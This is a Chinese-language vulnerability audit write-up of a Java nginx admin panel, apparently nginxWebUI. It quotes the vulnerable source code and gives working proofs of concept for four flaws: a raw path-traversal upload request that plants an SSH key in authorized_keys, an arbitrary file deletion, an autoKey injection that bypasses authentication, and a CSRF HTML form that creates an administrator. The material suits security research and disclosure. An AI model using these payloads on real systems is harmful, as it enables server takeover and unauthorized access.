0x01 文件上传 (<=3.7.8)
接口/adminPage/main/upload
com/cym/controller/adminPage/MainController.java#upload
1 2 3 4 5 6 7 8 9 10 11 12 13
| @Mapping("/adminPage/main/upload") public JsonResult upload(Context context, UploadedFile file) { try { File temp = new File(FileUtil.getTmpDir() + "/" + file.getName()); file.transferTo(temp);
return renderSuccess(temp.getPath().replace("\\", "/")); } catch (IllegalStateException | IOException e) { logger.error(e.getMessage(), e); }
return renderError(); }
|
可以看到file.getName()没有过滤,导致可以../../目录穿越到ssh目录,也没有对后缀名限制,可以进行写公钥获取shell。然后把路径“\\”替换“/”。
复现
ssh-keygen -t rsa -f id_rsa
然后上传
可以看到成功上传
可以看到成功登陆。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| POST /adminPage/main/upload HTTP/1.1 Host: localhost:8080 Content-Length: 805 sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="104" Accept: application/json, text/javascript, */*; q=0.01 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZfrhKJObI9gpzcfk X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36 sec-ch-ua-platform: "macOS" Origin: http://localhost:8080 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost:8080/adminPage/www Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: Hm_lvt_f8cddee34ca21f05373a9388cfdd798b=1677576503; _jpanonym="ZWMwM2YzYmEyY2ZiZDFhODVkODkwYmNkMGUxNzU2ZGUjMTY4MzE3NDg1Mzg5NyMzMTUzNjAwMCNZVEZoWWpFNU5XSmpaakE1TkRJek5UaGxNelF4WWprME5qa3lNekZqWkdJPQ=="; Hm_lvt_bfe2407e37bbaa8dc195c5db42daf96a=1683170841,1683202635; SOLONID=5ef99bb26ca845b5b3e528f215e802b4; Hm_lvt_8acef669ea66f479854ecd328d1f348f=1700642329; Hm_lpvt_8acef669ea66f479854ecd328d1f348f=1700643843 Connection: close
Content-Disposition: form-data; name="file"; filename="../../../../../../../Users/username/.ssh/authorized_keys" Content-Type: text/php
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDiI95LRyBLW2By5/KuuMm8QBicakTVsGcQGTjkhHTkn5wCkmC9j4Bt1IrM3AGuGZALe/FJMG3EFsnps2usFNgNaoC0qMJ7agjAbLt4BTC4sqlhKjzGEjTU3qvT1jqa/icjF5dOjA/0B2o3h/0M1kT6vcihSHELEcVYi13d8wUPqugd+5uvZpy0giXQNdimZ6GnstBKL+GT9Pptf6ruLZVQvXvhDPMaeLD7/eU49MxVJG0LBBcXcppLYjrUPLVeqiq7kulIkfhHWQZpk4kUqjAtpLqNNhBupQaCekhaq9dJzPFRR6rV9SSAuytz2XEYqGrxm1ywIMd0rX6CsslQGCrPSyFk3zrY5knkOq908hyO6l2B+YPLf0CkmTbFv/RvQgIBDXUP5uWd8vfzjevXicIKNnHOIQR2PKM0bzPKKCkcH0sxpcuAHU+hL1qoX6J/2HusfZWzifCYkna0iJewQLYT06MUYy1L7AD94SEVxCeZi1fFq/K3dnlvSp5uXv2jbdc= snake@snakedeMac-mini.loca
|
0x02 任意文件删除 (<=3.7.8)
com/cym/controller/adminPage/ExportController.java#dataImport()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| @Mapping(value = "dataImport") public void dataImport(UploadedFile file, Context context) throws IOException { if (file != null) { File tempFile = new File(homeConfig.home + "temp" + File.separator + file.getName()); FileUtil.mkdir(tempFile.getParentFile()); file.transferTo(tempFile); String json = FileUtil.readString(tempFile, StandardCharsets.UTF_8); tempFile.delete();
AsycPack asycPack = JSONUtil.toBean(json, AsycPack.class); confService.setAsycPack(asycPack); if (asycPack.getCertList() != null) { sqlHelper.deleteByQuery(new ConditionAndWrapper(), Cert.class); sqlHelper.insertAll(asycPack.getCertList()); } if (asycPack.getCertCodeList() != null) { sqlHelper.deleteByQuery(new ConditionAndWrapper(), CertCode.class); sqlHelper.insertAll(asycPack.getCertCodeList()); } certService.writeAcmeZipBase64(asycPack.getAcmeZip()); } context.redirect("/adminPage/export?over=true"); }
|
可以看到file.getName()没有过滤,导致可以../../目录穿越,也没有对后缀名限制,它先上传文件,然后从里面读,紧接着删除文件,只要控制传入文件名导致任意文件删除。
复现
创建hookdd
构造数据包
完成删除
0x03 Admin 注入绕过认证 (全版本)
com/cym/controller/adminPage/AdminController.java#changePassOver()
1 2 3 4 5 6 7
| @Mapping("changePassOver") public JsonResult changePassOver(Admin admin) {
adminService.changePassOver(admin);
return renderSuccess(); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public void changePassOver(Admin admin) { if (admin.getAuth()) { Admin adminOrg = sqlHelper.findById(admin.getId(), Admin.class); if (StrUtil.isEmpty(adminOrg.getKey())) { admin.setKey(authUtils.makeKey()); } } else { admin.setKey(""); }
if (StrUtil.isNotEmpty(admin.getPass())) { admin.setPass(EncodePassUtils.encode(admin.getPass())); } else { admin.setPass(null); } sqlHelper.updateById(admin);
}
|
这里也是对admin.getId()判断,然后来改密码。
com/cym/controller/adminPage/AdminController.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| @Mapping("addOver") public JsonResult addOver(Admin admin, String[] parentId) { if (StrUtil.isEmpty(admin.getId())) { Long count = adminService.getCountByName(admin.getName()); if (count > 0) { return renderError(m.get("adminStr.nameRepetition")); } } else { Long count = adminService.getCountByNameWithOutId(admin.getName(), admin.getId()); if (count > 0) { return renderError(m.get("adminStr.nameRepetition")); } }
adminService.addOver(admin, parentId);
return renderSuccess(); }
|
添加用户的路由, 可以控制admin,parentId,admin.getId()是否为空,不为空进入adminService.getCountByName,跟进getCountByName()
com/cym/service/AdminService.java#getCountByName
1 2 3
| public Long getCountByName(String name) { return sqlHelper.findCountByQuery(new ConditionAndWrapper().eq(Admin::getName, name), Admin.class); }
|
可以看到进行sql查询,查看数据库是否存在用户。不存在此用户就在service层面创建用户,跟进adminService.addOver。
com/cym/service/AdminService.java#addOver()
1 2 3 4 5 6 7 8 9 10 11 12 13
| public void addOver(Admin admin, String[] groupIds) { sqlHelper.insertOrUpdate(admin);
sqlHelper.deleteByQuery(new ConditionAndWrapper().eq(AdminGroup::getAdminId, admin.getId()), AdminGroup.class); if (admin.getType() == 1 && groupIds != null) { for (String id : groupIds) { AdminGroup adminGroup = new AdminGroup(); adminGroup.setAdminId(admin.getId()); adminGroup.setGroupId(id); sqlHelper.insert(adminGroup); } } }
|
这个方法直接将admin添加到数据库,deleteByQuery就是根据admin_id删除admin_group的数据,不重要,dmin.getType() == 1就是非管理员,管理员的type为0,不会走到这里。
以上两个路由都接收的Admin admin,
com/cym/model/Admin.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| public class Admin extends BaseModel { String name; String pass; String key; @InitValue("false") Boolean auth;
@InitValue("false") Boolean api;
String token; String autoKey; @InitValue("0") Integer type;
|
admin类型里面包含了自动登录key,autoKey。
com/cym/controller/adminPage/LoginController.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| @Mapping("autoLogin") public JsonResult autoLogin(String autoKey) {
Admin admin = adminService.getByAutoKey(autoKey); if (admin != null) { Context.current().sessionSet("localType", "local"); Context.current().sessionSet("isLogin", true); Context.current().sessionSet("admin", admin); Context.current().sessionRemove("imgCode");
versionConfig.checkVersion();
return renderSuccess(admin); } else { return renderError(); }
}
|
这个功能点可以直接登录,什么二次验证都不用管。
com/cym/service/AdminService.java#getByAutoKey
1 2 3
| public Admin getByAutoKey(String autoKey) { return sqlHelper.findOneByQuery(new ConditionAndWrapper().eq(Admin::getAutoKey, autoKey), Admin.class); }
|
就是从数据库取autokey。
所以以上changePassOver,addOver两个路由,在发送数据包的时候只要autoKey,直接就可以注入到数据库,然后通过autoLogin接口传入autoKey即可通过认证,绕过密码、google认证。
复现
提交数据包后,成功注入到数据库
然后调用autoLogin接口,即可获取认证。
修改密码接口
成功注入到数据库
然后调用autoLogin接口,即可获取admin认证。
0x04 csrf创建管理员 (全版本)
com/cym/model/Admin.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| public class Admin extends BaseModel { String name; String pass; String key; @InitValue("false") Boolean auth;
@InitValue("false") Boolean api;
String token; String autoKey; @InitValue("0") Integer type;
|
admin类型里面包含的字段。
com/cym/controller/adminPage/AdminController.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| @Mapping("addOver") public JsonResult addOver(Admin admin, String[] parentId) { if (StrUtil.isEmpty(admin.getId())) { Long count = adminService.getCountByName(admin.getName()); if (count > 0) { return renderError(m.get("adminStr.nameRepetition")); } } else { Long count = adminService.getCountByNameWithOutId(admin.getName(), admin.getId()); if (count > 0) { return renderError(m.get("adminStr.nameRepetition")); } }
adminService.addOver(admin, parentId);
return renderSuccess(); }
|
添加用户的路由, 可以控制admin,parentId,admin.getId()是否为空,不为空进入adminService.getCountByName,跟进getCountByName()
com/cym/service/AdminService.java#getCountByName
1 2 3
| public Long getCountByName(String name) { return sqlHelper.findCountByQuery(new ConditionAndWrapper().eq(Admin::getName, name), Admin.class); }
|
可以看到进行sql查询,查看数据库是否存在用户。不存在此用户就在service层面创建用户,跟进adminService.addOver。
com/cym/service/AdminService.java#addOver()
1 2 3 4 5 6 7 8 9 10 11 12 13
| public void addOver(Admin admin, String[] groupIds) { sqlHelper.insertOrUpdate(admin);
sqlHelper.deleteByQuery(new ConditionAndWrapper().eq(AdminGroup::getAdminId, admin.getId()), AdminGroup.class); if (admin.getType() == 1 && groupIds != null) { for (String id : groupIds) { AdminGroup adminGroup = new AdminGroup(); adminGroup.setAdminId(admin.getId()); adminGroup.setGroupId(id); sqlHelper.insert(adminGroup); } } }
|
这个方法直接将admin添加到数据库,deleteByQuery就是根据admin_id删除admin_group的数据,不重要,dmin.getType() == 1就是非管理员,管理员的type为0,不会走到这里。
com/cym/utils/EncodePassUtils.java#encode
1 2 3 4 5 6 7 8 9 10 11 12
| public static String encode(String pass) {
if (StrUtil.isNotEmpty(pass)) { pass = SecureUtil.md5(pass) + SecureUtil.md5(defaultPass); }
return pass; }
public static String encodeDefaultPass() { return SecureUtil.md5(defaultPass) + SecureUtil.md5(defaultPass); }
|
这是pass生成算法。直接调用生成pass添加到Admin。
由于Admin类型我们可控,所以构建Admin类型的时候,我们传入id,name,pass,type,api即可,然后在写入数据库直接写入账号密码(默认不创建密码,且后续根据id修改密码,id不可控,是一个随机数),所以这里创建好Admin类型,进行csrf即可。
复现
调用算法生成123456对应pass
1
| e10adc3949ba59abbe56e057f20f883ec7231c2ecd7fa89fd6bae6e81d2adc80
|
构造csrf数据包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <html> <body> <script>history.pushState('', '', '/')</script> <form action="http://10.0.0.67:8080/adminPage/admin/addOver"> <input type="hidden" name="id" value="" /> <input type="hidden" name="name" value="test" /> <input type="hidden" name="api" value="false" /> <input type="hidden" name="type" value="0" /> <input type="hidden" name="parentId" value="" /> <input type="hidden" name="pass" value="e10adc3949ba59abbe56e057f20f883ec7231c2ecd7fa89fd6bae6e81d2adc80" /> <input type="submit" value="Submit request" /> </form> </body> </html>
|
action改为对应的网址,name改为要创建的用户。
模拟admin用户在线,引导admin用户点击链接
点击后成功创建用户
成功登陆
总结
没办法,鉴权做的太好了,只能通过社工来进入后台,后台有命令执行功能点,没什么好审计rce的点,水几个垃圾洞好了。
声明
此文章 仅用于教育目的。请负责任地使用它,并且仅在您有明确测试权限的系统上使用。滥用此 PoC 可能会导致严重后果。